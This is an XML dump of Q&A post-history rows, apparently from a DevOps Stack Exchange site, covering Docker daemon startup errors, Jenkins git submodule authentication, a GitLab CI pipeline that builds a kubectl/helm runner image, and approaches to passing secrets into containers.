  <row Id="12217" PostHistoryTypeId="4" PostId="1047" RevisionGUID="f2441c71-7508-4716-8bbc-00e5a04d5f44" CreationDate="2018-04-16T12:22:39.767" UserId="6017" Comment="Updated formatting for easier reading. " Text="Maven command for Sonarqube analysis" ContentLicense="CC BY-SA 3.0" />
  <row Id="12218" PostHistoryTypeId="24" PostId="1047" RevisionGUID="f2441c71-7508-4716-8bbc-00e5a04d5f44" CreationDate="2018-04-16T12:22:39.767" Comment="Proposed by 6017 approved by 13 edit id of 676" ContentLicense="CC BY-SA 3.0" />
  <row Id="12219" PostHistoryTypeId="2" PostId="3894" RevisionGUID="6151a977-8012-45a4-9887-1b110abe8668" CreationDate="2018-04-16T12:39:18.437" UserId="3992" Text="Is there a recommended approach to using encrypted file system for persistent volumes in kubernetes? " ContentLicense="CC BY-SA 3.0" />
  <row Id="12220" PostHistoryTypeId="1" PostId="3894" RevisionGUID="6151a977-8012-45a4-9887-1b110abe8668" CreationDate="2018-04-16T12:39:18.437" UserId="3992" Text="Encrypted at rest persistent volume in kubernetes?" ContentLicense="CC BY-SA 3.0" />
  <row Id="12221" PostHistoryTypeId="3" PostId="3894" RevisionGUID="6151a977-8012-45a4-9887-1b110abe8668" CreationDate="2018-04-16T12:39:18.437" UserId="3992" Text="&lt;kubernetes&gt;&lt;security&gt;&lt;encryption&gt;&lt;storage&gt;" ContentLicense="CC BY-SA 3.0" />
  <row Id="12222" PostHistoryTypeId="5" PostId="3888" RevisionGUID="bda2831b-b1ff-49a3-bc05-76b162d5b590" CreationDate="2018-04-16T13:39:07.863" UserId="47" Comment="fixed typos, improved readability" Text="After instalation docker from repo i can't run it.&#xD;&#xA;Problem is with daemon:&#xD;&#xA;&#xD;&#xA;    dockerd&#xD;&#xA;    INFO[2018-04-16T09:35:46.054942906+02:00] libcontainerd: started new docker-containerd process  pid=21656&#xD;&#xA;    INFO[0000] starting containerd                           module=containerd revision=773c489c9c1b21a6d78b5c538cd395416ec50f88 version=v1.0.3&#xD;&#xA;    INFO[0000] loading plugin &quot;io.containerd.content.v1.content&quot;...  module=containerd type=io.containerd.content.v1&#xD;&#xA;    INFO[0000] loading plugin &quot;io.containerd.snapshotter.v1.btrfs&quot;...  module=containerd type=io.containerd.snapshotter.v1&#xD;&#xA;    WARN[0000] failed to load plugin io.containerd.snapshotter.v1.btrfs  error=&quot;path /var/lib/docker/containerd/daemon/io.containerd.snapshotter.v1.btrfs must be a btrfs filesystem to be used with the btrfs snapshotter&quot; module=containerd&#xD;&#xA;    INFO[0000] loading plugin &quot;io.containerd.snapshotter.v1.overlayfs&quot;...  module=containerd type=io.containerd.snapshotter.v1&#xD;&#xA;    INFO[0000] loading plugin &quot;io.containerd.metadata.v1.bolt&quot;...  module=containerd type=io.containerd.metadata.v1&#xD;&#xA;    WARN[0000] could not use snapshotter btrfs in metadata plugin  error=&quot;path /var/lib/docker/containerd/daemon/io.containerd.snapshotter.v1.btrfs must be a btrfs filesystem to be used with the btrfs snapshotter&quot; module=&quot;containerd/io.containerd.metadata.v1.bolt&quot;&#xD;&#xA;    INFO[0000] loading plugin &quot;io.containerd.differ.v1.walking&quot;...  module=containerd type=io.containerd.differ.v1&#xD;&#xA;    INFO[0000] loading plugin &quot;io.containerd.gc.v1.scheduler&quot;...  module=containerd type=io.containerd.gc.v1&#xD;&#xA;    INFO[0000] loading plugin &quot;io.containerd.grpc.v1.containers&quot;...  module=containerd type=io.containerd.grpc.v1&#xD;&#xA;    INFO[0000] loading plugin &quot;io.containerd.grpc.v1.content&quot;...  module=containerd type=io.containerd.grpc.v1&#xD;&#xA;    INFO[0000] loading plugin &quot;io.containerd.grpc.v1.diff&quot;...  module=containerd type=io.containerd.grpc.v1&#xD;&#xA;    INFO[0000] loading plugin &quot;io.containerd.grpc.v1.events&quot;...  module=containerd type=io.containerd.grpc.v1&#xD;&#xA;    INFO[0000] loading plugin &quot;io.containerd.grpc.v1.healthcheck&quot;...  module=containerd type=io.containerd.grpc.v1&#xD;&#xA;    INFO[0000] loading plugin &quot;io.containerd.grpc.v1.images&quot;...  module=containerd type=io.containerd.grpc.v1&#xD;&#xA;    INFO[0000] loading plugin &quot;io.containerd.grpc.v1.leases&quot;...  module=containerd type=io.containerd.grpc.v1&#xD;&#xA;    INFO[0000] loading plugin &quot;io.containerd.grpc.v1.namespaces&quot;...  module=containerd type=io.containerd.grpc.v1&#xD;&#xA;    INFO[0000] loading plugin &quot;io.containerd.grpc.v1.snapshots&quot;...  module=containerd type=io.containerd.grpc.v1&#xD;&#xA;    INFO[0000] loading plugin &quot;io.containerd.monitor.v1.cgroups&quot;...  module=containerd type=io.containerd.monitor.v1&#xD;&#xA;    INFO[0000] loading plugin &quot;io.containerd.runtime.v1.linux&quot;...  module=containerd type=io.containerd.runtime.v1&#xD;&#xA;    INFO[0000] loading plugin &quot;io.containerd.grpc.v1.tasks&quot;...  module=containerd type=io.containerd.grpc.v1&#xD;&#xA;    INFO[0000] loading plugin &quot;io.containerd.grpc.v1.version&quot;...  module=containerd type=io.containerd.grpc.v1&#xD;&#xA;    INFO[0000] loading plugin &quot;io.containerd.grpc.v1.introspection&quot;...  module=containerd type=io.containerd.grpc.v1&#xD;&#xA;    INFO[0000] serving...                                    address=&quot;/var/run/docker/containerd/docker-containerd-debug.sock&quot; module=&quot;containerd/debug&quot;&#xD;&#xA;    INFO[0000] serving...                                    address=&quot;/var/run/docker/containerd/docker-containerd.sock&quot; module=&quot;containerd/grpc&quot;&#xD;&#xA;    INFO[0000] containerd successfully booted in 0.007348s   module=containerd&#xD;&#xA;    ERRO[2018-04-16T09:35:46.318603395+02:00] 'overlay' not found as a supported filesystem on this host. Please ensure kernel is new enough and has overlay support loaded.&#xD;&#xA;    ERRO[2018-04-16T09:35:46.321272231+02:00] 'overlay' not found as a supported filesystem on this host. Please ensure kernel is new enough and has overlay support loaded.&#xD;&#xA;    INFO[2018-04-16T09:35:46.334031676+02:00] Graph migration to content-addressability took 0.00 seconds&#xD;&#xA;    WARN[2018-04-16T09:35:46.337419439+02:00] Your kernel does not support swap memory limit&#xD;&#xA;    WARN[2018-04-16T09:35:46.337438494+02:00] Your kernel does not support memory reservation&#xD;&#xA;    WARN[2018-04-16T09:35:46.337452567+02:00] Your kernel does not support oom control&#xD;&#xA;    WARN[2018-04-16T09:35:46.337465274+02:00] Your kernel does not support memory swappiness&#xD;&#xA;    WARN[2018-04-16T09:35:46.337479319+02:00] Your kernel does not support kernel memory limit&#xD;&#xA;    WARN[2018-04-16T09:35:46.337488145+02:00] Unable to find cpu cgroup in mounts&#xD;&#xA;    WARN[2018-04-16T09:35:46.337501250+02:00] Your kernel does not support cgroup blkio weight&#xD;&#xA;    WARN[2018-04-16T09:35:46.337515483+02:00] Your kernel does not support cgroup blkio weight_device&#xD;&#xA;    WARN[2018-04-16T09:35:46.337528836+02:00] Your kernel does not support cgroup blkio throttle.read_bps_device&#xD;&#xA;    WARN[2018-04-16T09:35:46.337542675+02:00] Your kernel does not support cgroup blkio throttle.write_bps_device&#xD;&#xA;    WARN[2018-04-16T09:35:46.337556361+02:00] Your kernel does not support cgroup blkio throttle.read_iops_device&#xD;&#xA;    WARN[2018-04-16T09:35:46.337571999+02:00] Your kernel does not support cgroup blkio throttle.write_iops_device&#xD;&#xA;    WARN[2018-04-16T09:35:46.337589881+02:00] Unable to find cpuset cgroup in mounts&#xD;&#xA;    WARN[2018-04-16T09:35:46.337656042+02:00] mountpoint for pids not found&#xD;&#xA;    Error starting daemon: Devices cgroup isn't mounted&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;I instal cgroup manualy:&#xD;&#xA;&#xD;&#xA;    apt-get install cgroupfs-mount&#xD;&#xA;&#xD;&#xA;But still this same issue.&#xD;&#xA;Is really a kernel from 2016 year too old?&#xD;&#xA;&#xD;&#xA;uname -a retruns:&#xD;&#xA;&#xD;&#xA;&gt; Linux xxx 3.16.0-042stab127.2 #1 SMP Thu Jan 4 16:41:44 MSK 2018&#xD;&#xA;&gt; x86_64 GNU/Linux" ContentLicense="CC BY-SA 3.0" />
  <row Id="12223" PostHistoryTypeId="4" PostId="3888" RevisionGUID="bda2831b-b1ff-49a3-bc05-76b162d5b590" CreationDate="2018-04-16T13:39:07.863" UserId="47" Comment="fixed typos, improved readability" Text="Cannot run docker daemon" ContentLicense="CC BY-SA 3.0" />
  <row Id="12224" PostHistoryTypeId="2" PostId="3895" RevisionGUID="aa577f44-9dd8-422c-bffb-8f12a20c4794" CreationDate="2018-04-16T13:47:21.717" UserId="2708" Text="Had some issues with Jenkins when trying to checkout a project with Git nested submodules. It failed with a permission error when cloning the submodules:&#xD;&#xA;&#xD;&#xA;    hudson.plugins.git.GitException: Command &quot;git submodule update --init --recursive some/path&quot; returned status code 128:&#xD;&#xA;    stdout: Submodule path 'some/path': checked out '34e663c11661b5153076c1d624ead25137df0783'&#xD;&#xA;    &#xD;&#xA;    stderr: Cloning into 'some/other/path'...&#xD;&#xA;    Host key verification failed.&#xD;&#xA;    fatal: Could not read from remote repository.&#xD;&#xA;    &#xD;&#xA;    Please make sure you have the correct access rights&#xD;&#xA;    and the repository exists.&#xD;&#xA;    fatal: clone of 'git@github.com:foo/foo.git' into submodule path 'some/other/path' failed&#xD;&#xA;    Failed to recurse into submodule path 'some/path'&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;In the Jenkins job, checking out submodules is enabled:&#xD;&#xA;In the Git plugin under `Advanced sub-modules behaviours`, the options `Recursively update submodules` and `Use credentials from default remote of parent repository` are enabled.&#xD;&#xA;All git repositories are private Github repositories, but the Jenkins user has read access to them.&#xD;&#xA;&#xD;&#xA;The only way to get it working as by replacing `git@...` URLs by `https://...`. For instance, this here would fail&#xD;&#xA;&#xD;&#xA;    [submodule &quot;foo&quot;]&#xD;&#xA;	    path = some/path&#xD;&#xA;	    url = git@github.com:foo/foo.git&#xD;&#xA;&#xD;&#xA;... but this would work&#xD;&#xA;&#xD;&#xA;    [submodule &quot;foo&quot;]&#xD;&#xA;	    path = some/path&#xD;&#xA;	    url = https://github.com/foo/foo.git&#xD;&#xA;&#xD;&#xA;I cannot rule out that there is a misconfiguration on our end. But still I have some generic understanding question:&#xD;&#xA;&#xD;&#xA;* Does the Jenkins Git plugin support `git@` URLs? Or is it a known limitation that you need to use `https://...` URLs?&#xD;&#xA;* Why does the choice of the protocol make a difference on Jenkins? Is it because `git@` assumes that SSH keys of Jenkins were added to the Github repository?&#xD;&#xA;" ContentLicense="CC BY-SA 3.0" />
  <row Id="12225" PostHistoryTypeId="1" PostId="3895" RevisionGUID="aa577f44-9dd8-422c-bffb-8f12a20c4794" CreationDate="2018-04-16T13:47:21.717" UserId="2708" Text="Does Jenkins support cloning git submodules with &quot;git@&quot; (not &quot;https&quot;) URLs?" ContentLicense="CC BY-SA 3.0" />
  <row Id="12226" PostHistoryTypeId="3" PostId="3895" RevisionGUID="aa577f44-9dd8-422c-bffb-8f12a20c4794" CreationDate="2018-04-16T13:47:21.717" UserId="2708" Text="&lt;jenkins&gt;&lt;git&gt;&lt;jenkins-plugins&gt;" ContentLicense="CC BY-SA 3.0" />
  <row Id="12227" PostHistoryTypeId="2" PostId="3896" RevisionGUID="f15161bb-5f47-4c15-af21-11af8fa1be05" CreationDate="2018-04-16T15:24:04.107" UserId="4427" Text="I dealt with the same issue. Some people recommended using the Gitlab group &quot;secrets&quot; and using `before_script`. Since I knew I was also going to deploy and would need other tools on my runner like &quot;helm&quot;, I made my own docker container. I still keep my config for my clusters in a group secret but I set it like this in the dockerfile.&#xD;&#xA;&#xD;&#xA;    ENV kube_config=$kube_config&#xD;&#xA;&#xD;&#xA;Now just set an environment variable for your gitlab runner to point to your new image.&#xD;&#xA;&#xD;&#xA;    KUBERNETES_IMAGE: registry.gitlab.com/MY_USERNAME/MY_REPO_NAME/MY_IMAGE_NAME:latest" ContentLicense="CC BY-SA 3.0" />
  <row Id="12228" PostHistoryTypeId="5" PostId="3896" RevisionGUID="d160ded3-ac08-4edb-ba71-9d740fd69318" CreationDate="2018-04-16T15:29:52.603" UserId="4427" Comment="added gitlab ci file" Text="I dealt with the same issue. Some people recommended using the Gitlab group &quot;secrets&quot; and using `before_script`. Since I knew I was also going to deploy and would need other tools on my runner like &quot;helm&quot;, I made my own docker container. I still keep my config for my clusters in a base64 encoded group secret but I set it like this in the dockerfile.&#xD;&#xA;&#xD;&#xA;    ENV kube_config=$kube_config&#xD;&#xA;    RUN echo -n ${kube_config} | base64 -d &gt; ~/.kube/config&#xD;&#xA;&#xD;&#xA;Now just set an environment variable for your gitlab runner to point to your new image.&#xD;&#xA;&#xD;&#xA;    KUBERNETES_IMAGE: registry.gitlab.com/MY_USERNAME/MY_REPO_NAME/MY_IMAGE_NAME:latest&#xD;&#xA;&#xD;&#xA;Don't forget to test your new container!&#xD;&#xA;&#xD;&#xA;    stages:&#xD;&#xA;      - build&#xD;&#xA;      - test&#xD;&#xA;      - release&#xD;&#xA;    &#xD;&#xA;    variables:&#xD;&#xA;      CONTAINER_TEST_IMAGE: $CI_REGISTRY_IMAGE/gitlab_runner:$CI_COMMIT_REF_NAME&#xD;&#xA;      CONTAINER_RELEASE_IMAGE: $CI_REGISTRY_IMAGE/gitlab_runner:latest&#xD;&#xA;    &#xD;&#xA;    before_script:&#xD;&#xA;      - apt-get update &amp;&amp; apt-get install docker.io -y&#xD;&#xA;      - docker login -u gitlab-ci-token -p $CI_JOB_TOKEN $CI_REGISTRY&#xD;&#xA;    &#xD;&#xA;    Build Image:&#xD;&#xA;      stage: build&#xD;&#xA;      script:&#xD;&#xA;        - docker build --build-arg kube_config=${kube_config} -t ${CONTAINER_TEST_IMAGE} .&#xD;&#xA;        - docker push ${CONTAINER_TEST_IMAGE}&#xD;&#xA;      except:&#xD;&#xA;        - master&#xD;&#xA;    &#xD;&#xA;    Test Kubectl:&#xD;&#xA;      stage: test&#xD;&#xA;      script:&#xD;&#xA;        - docker pull ${CONTAINER_TEST_IMAGE}&#xD;&#xA;        - docker run --rm ${CONTAINER_TEST_IMAGE} kubectl get deployments -n kube-system&#xD;&#xA;      except:&#xD;&#xA;        - master&#xD;&#xA;    &#xD;&#xA;    Test Helm:&#xD;&#xA;      stage: test&#xD;&#xA;      script:&#xD;&#xA;        - docker pull ${CONTAINER_TEST_IMAGE}&#xD;&#xA;        - docker run --rm ${CONTAINER_TEST_IMAGE} helm ls&#xD;&#xA;      except:&#xD;&#xA;        - master&#xD;&#xA;    &#xD;&#xA;    Test Docker:&#xD;&#xA;      stage: test&#xD;&#xA;      script:&#xD;&#xA;        - docker pull ${CONTAINER_TEST_IMAGE}&#xD;&#xA;        - docker run --rm -v /var/run/docker.sock:/var/run/docker.sock ${CONTAINER_TEST_IMAGE} docker images&#xD;&#xA;      except:&#xD;&#xA;        - master&#xD;&#xA;    &#xD;&#xA;    release-image:&#xD;&#xA;      stage: release&#xD;&#xA;      script:&#xD;&#xA;        - docker pull $CONTAINER_TEST_IMAGE&#xD;&#xA;        - docker tag $CONTAINER_TEST_IMAGE $CONTAINER_RELEASE_IMAGE&#xD;&#xA;        - docker push $CONTAINER_RELEASE_IMAGE&#xD;&#xA;      only:&#xD;&#xA;        - master&#xD;&#xA;&#xD;&#xA;" ContentLicense="CC BY-SA 3.0" />
  <row Id="12229" PostHistoryTypeId="5" PostId="3896" RevisionGUID="60f6ee05-3b1a-4a43-a4b6-3e29c75fe467" CreationDate="2018-04-16T15:36:18.943" UserId="4427" Comment="added details on why I am idiot" Text="I dealt with the same issue. Some people recommended using the Gitlab group &quot;secrets&quot; and using `before_script`. Since I knew I was also going to deploy and would need other tools on my runner like &quot;helm&quot;, I made my own docker container. I still keep my config for my clusters in a base64 encoded group secret but I set it like this in the dockerfile.&#xD;&#xA;&#xD;&#xA;    ENV kube_config=$kube_config&#xD;&#xA;    RUN echo -n ${kube_config} | base64 -d &gt; ~/.kube/config&#xD;&#xA;&#xD;&#xA;Now just set an environment variable for your gitlab runner to point to your new image.&#xD;&#xA;&#xD;&#xA;    KUBERNETES_IMAGE: registry.gitlab.com/MY_USERNAME/MY_REPO_NAME/MY_IMAGE_NAME:latest&#xD;&#xA;&#xD;&#xA;Don't forget to test your new container!&#xD;&#xA;&#xD;&#xA;    stages:&#xD;&#xA;      - build&#xD;&#xA;      - test&#xD;&#xA;      - release&#xD;&#xA;    &#xD;&#xA;    variables:&#xD;&#xA;      CONTAINER_TEST_IMAGE: $CI_REGISTRY_IMAGE/gitlab_runner:$CI_COMMIT_REF_NAME&#xD;&#xA;      CONTAINER_RELEASE_IMAGE: $CI_REGISTRY_IMAGE/gitlab_runner:latest&#xD;&#xA;    &#xD;&#xA;    before_script:&#xD;&#xA;      - apt-get update &amp;&amp; apt-get install docker.io -y&#xD;&#xA;      - docker login -u gitlab-ci-token -p $CI_JOB_TOKEN $CI_REGISTRY&#xD;&#xA;    &#xD;&#xA;    Build Image:&#xD;&#xA;      stage: build&#xD;&#xA;      script:&#xD;&#xA;        - docker build --build-arg kube_config=${kube_config} -t ${CONTAINER_TEST_IMAGE} .&#xD;&#xA;        - docker push ${CONTAINER_TEST_IMAGE}&#xD;&#xA;      except:&#xD;&#xA;        - master&#xD;&#xA;    &#xD;&#xA;    Test Kubectl:&#xD;&#xA;      stage: test&#xD;&#xA;      script:&#xD;&#xA;        - docker pull ${CONTAINER_TEST_IMAGE}&#xD;&#xA;        - docker run --rm ${CONTAINER_TEST_IMAGE} kubectl get deployments -n kube-system&#xD;&#xA;      except:&#xD;&#xA;        - master&#xD;&#xA;    &#xD;&#xA;    Test Helm:&#xD;&#xA;      stage: test&#xD;&#xA;      script:&#xD;&#xA;        - docker pull ${CONTAINER_TEST_IMAGE}&#xD;&#xA;        - docker run --rm ${CONTAINER_TEST_IMAGE} helm ls&#xD;&#xA;      except:&#xD;&#xA;        - master&#xD;&#xA;    &#xD;&#xA;    Test Docker:&#xD;&#xA;      stage: test&#xD;&#xA;      script:&#xD;&#xA;        - docker pull ${CONTAINER_TEST_IMAGE}&#xD;&#xA;        - docker run --rm -v /var/run/docker.sock:/var/run/docker.sock ${CONTAINER_TEST_IMAGE} docker images&#xD;&#xA;      except:&#xD;&#xA;        - master&#xD;&#xA;    &#xD;&#xA;    release-image:&#xD;&#xA;      stage: release&#xD;&#xA;      script:&#xD;&#xA;        - docker pull $CONTAINER_TEST_IMAGE&#xD;&#xA;        - docker tag $CONTAINER_TEST_IMAGE $CONTAINER_RELEASE_IMAGE&#xD;&#xA;        - docker push $CONTAINER_RELEASE_IMAGE&#xD;&#xA;      only:&#xD;&#xA;        - master&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;Edit: Missed this part.. **I'm using a shell runner.**&#xD;&#xA;&#xD;&#xA;So post of what I said is probably not relevant. How ever I do think there is some advantages to building and deploying with a gitlab runner directly on a cluster." ContentLicense="CC BY-SA 3.0" />
  <row Id="12230" PostHistoryTypeId="2" PostId="3897" RevisionGUID="aeb15e28-4b5c-470f-a79a-2089be26f633" CreationDate="2018-04-16T16:22:54.533" UserId="2845" Text="ELK is pretty ineffective as a monitoring tool in a default configuration as it doesn't do monitoring - only reporting. ELK can only provide monitoring and alerting abilities if you configure additional add-ons such as [ElastAlert](http://elastalert.readthedocs.io/en/latest/elastalert.html).&#xD;&#xA;&#xD;&#xA;Then, you are impacted by your ability to log errors via syslog. If messages come in via, say, SNMP traps, you will be unable to alert on these if you do not configure the [appropriate plugin](https://www.elastic.co/guide/en/logstash/current/plugins-inputs-snmptrap.html).&#xD;&#xA;&#xD;&#xA;Like most monitoring systems, your effectiveness is determined mostly by 1) your input method and 2) if you have told the system to alert off of all of the correct messages." ContentLicense="CC BY-SA 3.0" />
  <row Id="12232" PostHistoryTypeId="2" PostId="3898" RevisionGUID="4677ad16-0a53-4038-b7ed-8cc572655788" CreationDate="2018-04-17T04:27:40.347" UserId="6672" Text="After a while, I decided to proceed with TeamCity+Octopus as I did for the previous .NET stack. QA / Dev teams got accustomed to the way they are doing deployments. Even though Octopus doesn't have a first-class Kubernetes support, I implemented my own way to do releases to Kubernetes clusters via custom linux target with Calamari. Blue / Green deployments were implemented using manual intervention step in Octopus." ContentLicense="CC BY-SA 3.0" />
  <row Id="12234" PostHistoryTypeId="50" PostId="3362" RevisionGUID="3fbd6820-2f84-4df1-9638-810f1e7d28e0" CreationDate="2018-04-17T13:10:57.670" UserId="-1" />
  <row Id="12235" PostHistoryTypeId="2" PostId="3899" RevisionGUID="6ae2c8c9-9ec1-47c9-8a02-6b0b73a7b591" CreationDate="2018-04-17T13:59:11.170" UserId="736" Text="We use AWS's [EC2 Plugin][1] to spin up spot instances in AWS for our Jenkins master based on a single AMI, exactly as you describe, so Jenkins does support this behavior.&#xD;&#xA;&#xD;&#xA;From a quick bit of searching Google Cloud seems to offer [a similar solution][2]; &#xD;&#xA;&#xD;&#xA;&gt; Spotinst’s Jenkins Plugin helps you to do more with your Jenkins setup by allowing you to automatically configure and scale a designated Google Compute Engine Preemptible VM as Slaves up and down depending on the number jobs to be completed.&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: https://wiki.jenkins.io/display/JENKINS/Amazon+EC2+Plugin&#xD;&#xA;  [2]: http://blog.spotinst.com/2016/08/31/elastigroup-jenkins-plugin-google-cloud-platform/" ContentLicense="CC BY-SA 3.0" />
  <row Id="12240" PostHistoryTypeId="2" PostId="3900" RevisionGUID="0e055d89-a2f2-4591-a32f-55dfb1de3807" CreationDate="2018-04-18T09:57:44.943" UserId="7457" Text="Visiting &quot;https://jenkins/safeRestart&quot; does not wait for &quot;jobs/builds&quot; to be finished completely in case of pipeline jobs. &#xD;&#xA;&#xD;&#xA;It seems to wait for steps to finish and  perform jenkins restart and resume the pipline after jenkins have came up again. " ContentLicense="CC BY-SA 3.0" />
  <row Id="12241" PostHistoryTypeId="2" PostId="3901" RevisionGUID="a769928a-b189-4a1b-89ab-8d06089112b8" CreationDate="2018-04-18T10:41:31.330" UserId="7458" Text="I have a jenkins Master running in windows as Local system, i have Jenkins slaves running as docker containers in a VM in the same Machine. Everything is working OK, I just want to know are there any gain in memory consumption or ressources if i'm going to run parallel jobs in the master and slaves or should i just use parallel steps using pipeline in Master?" ContentLicense="CC BY-SA 3.0" />
  <row Id="12242" PostHistoryTypeId="1" PostId="3901" RevisionGUID="a769928a-b189-4a1b-89ab-8d06089112b8" CreationDate="2018-04-18T10:41:31.330" UserId="7458" Text="Running Docker images as Jenkins slave" ContentLicense="CC BY-SA 3.0" />
  <row Id="12243" PostHistoryTypeId="3" PostId="3901" RevisionGUID="a769928a-b189-4a1b-89ab-8d06089112b8" CreationDate="2018-04-18T10:41:31.330" UserId="7458" Text="&lt;docker&gt;&lt;jenkins&gt;" ContentLicense="CC BY-SA 3.0" />
  <row Id="12244" PostHistoryTypeId="2" PostId="3902" RevisionGUID="8af850b4-9bde-4a54-a642-d074e932033b" CreationDate="2018-04-18T13:32:56.087" UserId="4328" Text="I have a base docker image which is used to run image analysis software. For each container created from the image, there are a set of configuration settings some of which are secrets (encryption keys, customer information, etc.) that are used by the software to analyze and distribute the images. How can I safely pass these secrets to a container? " ContentLicense="CC BY-SA 3.0" />
  <row Id="12245" PostHistoryTypeId="1" PostId="3902" RevisionGUID="8af850b4-9bde-4a54-a642-d074e932033b" CreationDate="2018-04-18T13:32:56.087" UserId="4328" Text="Passing secrets to a Docker container" ContentLicense="CC BY-SA 3.0" />
  <row Id="12246" PostHistoryTypeId="3" PostId="3902" RevisionGUID="8af850b4-9bde-4a54-a642-d074e932033b" CreationDate="2018-04-18T13:32:56.087" UserId="4328" Text="&lt;docker&gt;&lt;secret-management&gt;" ContentLicense="CC BY-SA 3.0" />
  <row Id="12247" PostHistoryTypeId="2" PostId="3903" RevisionGUID="c34e376b-7902-48f8-875d-084e01177859" CreationDate="2018-04-18T13:46:40.257" UserId="7460" Text="There is a basic dashboard which give some informations on your cluster. You can monitor basics metrics and this is the entry-level for Kubernetes monitoring.&#xD;&#xA;&#xD;&#xA;https://github.com/kubernetes/dashboard&#xD;&#xA;&#xD;&#xA;If you want something more complete, you could use the stack:&#xD;&#xA;Prometheus with CAdvisor/node-exporter and Grafana&#xD;&#xA;" ContentLicense="CC BY-SA 3.0" />
  <row Id="12248" PostHistoryTypeId="2" PostId="3904" RevisionGUID="a291ed6d-b8a5-4dd7-9d2a-acf9f95e5947" CreationDate="2018-04-18T15:15:53.920" UserId="6578" Text="You have 3 methods to get secrets to an app inside a docker container. The first 2 involve docker configuration. The last one is to have your apps directly fetch secrets from a secret store.&#xD;&#xA;&#xD;&#xA;# 1 - Environment variables&#xD;&#xA;According to [&quot;The 12 Factor App&quot; guide](https://12factor.net/config), secrets are merely config, and they should always be set in the environment. You could set your secrets as environment variables during the docker run, and your app accesses them from there.&#xD;&#xA;&#xD;&#xA;# 2 - Mounted volumes&#xD;&#xA;You could have your secrets all within a particular configuration/secrets file, then mount that to your instance as a [mounted volume](https://docs.docker.com/storage/volumes/). &#xD;&#xA;&#xD;&#xA;# 3 - Fetch from secret store&#xD;&#xA;As @030 mentioned, you can use Hashicorp Vault (or &quot;Amazon Secrets Manager&quot;, or any service like that).  &#xD;&#xA;Your app, or a sidecar app can fetch the secrets it needs directly, without having to deal with any configuration on the Docker container. This method would allow you to use Dynamically created secrets (a very appealing feature of such systems) and without having to worry about the secrets being view-able from the file system or from inspecting the env variables of the docker container.&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;## Personal Opinion&#xD;&#xA;I believe env variables is the way to go. It's easier to manage, and you can still pull from a secret store like Hashicorp Vault, if you have you CI build system pull the secrets during the build and set them when you deploy. You get the best of both worlds, and the added benefit of your developers not needing to write application code to fetch secrets. Devs should be focused on their code functionality, and not dealing with admin tasks like fetching passwords." ContentLicense="CC BY-SA 3.0" />
  <row Id="12249" PostHistoryTypeId="50" PostId="3661" RevisionGUID="2838e33a-58d8-453d-a904-54fff7ffefa9" CreationDate="2018-04-18T15:35:55.967" UserId="-1" />
  <row Id="12250" PostHistoryTypeId="5" PostId="3901" RevisionGUID="bdfbcca8-4a23-4eb3-a51a-ae6f6e0da9f6" CreationDate="2018-04-18T17:22:02.747" UserId="40" Comment="added 4 characters in body" Text="I have a Jenkins Master running in Windows as Local system. I have Jenkins slaves running as Docker containers in a VM in the same Machine.&#xD;&#xA;&#xD;&#xA;Everything is working OK, I just want to know are there any gains in memory consumption or ressources if I'm going to run parallel jobs in the master and slaves or should I just use parallel steps using pipeline in Master?" ContentLicense="CC BY-SA 3.0" />
  <row Id="12251" PostHistoryTypeId="2" PostId="3905" RevisionGUID="1919586d-c565-4bd2-a82d-944e68e50661" CreationDate="2018-04-18T18:35:45.180" UserId="4175" Text="In general, you can go with the assumptions that running something inside docker does not add a significant amount of resource consumption, neither CPU nor RAM, compared to starting the same process directly.&#xD;&#xA;&#xD;&#xA;Also, it is usually good to optimize only if necessary. &#xD;&#xA;&#xD;&#xA;So pick the Jenkins configuration that seems cleanest/nicest/most elegant to you. If you run into trouble, *then* look for a solution. As you are running everything on a single physical machine, thinking too much about performance is a moot point anyways, it's not like the solution will scale in any direction, anyways. But getting to know Jenkins, and finding good configuration solutions which you may be able to apply in a &quot;real&quot; environment later is certainly possible in this way." ContentLicense="CC BY-SA 3.0" />
  <row Id="12252" PostHistoryTypeId="2" PostId="3906" RevisionGUID="8cde39ce-c191-4605-8e5a-e4796ae2c7cc" CreationDate="2018-04-18T22:04:41.677" UserId="4175" Text="I have started playing around with AWS (privately). I have one free tier Amazon Linux 2 VM running right now, which serves a &quot;fat&quot; service (in a docker container) to myself and one other person. It has an Elastic IP associated with it.&#xD;&#xA;&#xD;&#xA;We use the service 1-2 hours every few days.&#xD;&#xA;&#xD;&#xA;Is there, in the rather large AWS zoo of services, a smart way to have the VM shut down when not in use, and come up when we need it? &quot;Need it&quot; could be measured by counting network traffic, i.e. I could in principle write a little script which uses `tcpdump` or something like that to watch for 15 minutes of no traffic on the port of the service and then somehow trigger a shutdown; but how would we get it up again?&#xD;&#xA;&#xD;&#xA;I am happy to change it in any way necessary; but the Docker image has to be considered a black box for all intents and purposes. There is one docker volume (realised as a directory in the home of the `ec2-user` right now) if that makes a difference. Timing is not critical.&#xD;&#xA;&#xD;&#xA;So far I'm doing shutdowns/startups through the EC2 Management Console, but would like to end that." ContentLicense="CC BY-SA 3.0" />
  <row Id="12253" PostHistoryTypeId="1" PostId="3906" RevisionGUID="8cde39ce-c191-4605-8e5a-e4796ae2c7cc" CreationDate="2018-04-18T22:04:41.677" UserId="4175" Text="Saving time on an EC2 instance" ContentLicense="CC BY-SA 3.0" />
  <row Id="12254" PostHistoryTypeId="3" PostId="3906" RevisionGUID="8cde39ce-c191-4605-8e5a-e4796ae2c7cc" CreationDate="2018-04-18T22:04:41.677" UserId="4175" Text="&lt;amazon-web-services&gt;&lt;ec2&gt;&lt;startup&gt;" ContentLicense="CC BY-SA 3.0" />
  <row Id="12255" PostHistoryTypeId="50" PostId="1832" RevisionGUID="878f40f2-9750-49f0-a972-2eef398f94fc" CreationDate="2018-04-18T23:39:59.103" UserId="-1" />
